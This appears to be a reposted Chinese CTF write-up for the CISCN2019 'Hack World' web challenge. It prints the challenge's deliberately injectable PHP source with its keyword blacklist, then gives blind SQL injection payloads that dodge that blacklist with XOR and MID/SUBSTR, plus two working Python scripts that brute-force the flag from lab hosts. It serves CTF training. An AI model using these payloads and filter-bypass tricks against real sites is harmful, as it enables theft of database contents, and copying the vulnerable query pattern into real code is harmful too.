[CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目如下图
输入1
输入2
输入3
输入0
输入1'
从上面总结出 这是布尔类型的盲注
下面是题目的源代码
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem))
{ return False;
}
} return True;
} if(isset($POST['id']))
{ $id = $POST['id'];
}
else{ die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
一共有两种方法解决此题
1.mid函数
id=(select(ascill(mid(flag,1,1))=102)from(flag)
mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少
mid函数:如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句,如果失败那么就是Error
import requests url="http://87ba091d-cbea-4196-98e7-97a83bec2d07.node3.buuoj.cn/index.php" for q in range(1,100): for i in range(0, 254): payload = "1^(SELECT(ASCII(MID((SELECT(CONCAT(flag))FROM(flag))," + str(q) + ",1))=" + str(i) + "))" data = {"id": payload} req = requests.post(url, data=data) if ("Error Occured" in req.text): print (chr(i),end='') break
2.使用异或
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
异或+SUBSTR
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
ascii:取第一个字符的ascii substr:
(mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag
substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码
import requests
import time
import re
url='http://0d4600ac-89ff-4135-b0a0-98d0b63703f9.node4.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
flag的每一位用substr取出,然后在用ascii和某个字符用二分法比较,最后max和min想差1的时候,就说明max为正确的字符。for in rang(1,43)这里43是因为动态flag的长度是42位,再加上python右界的小括号,+1。
运行程序得到flag
原文来自: https://www.bilibili.com/read/cv18150908/ 出处:bilibili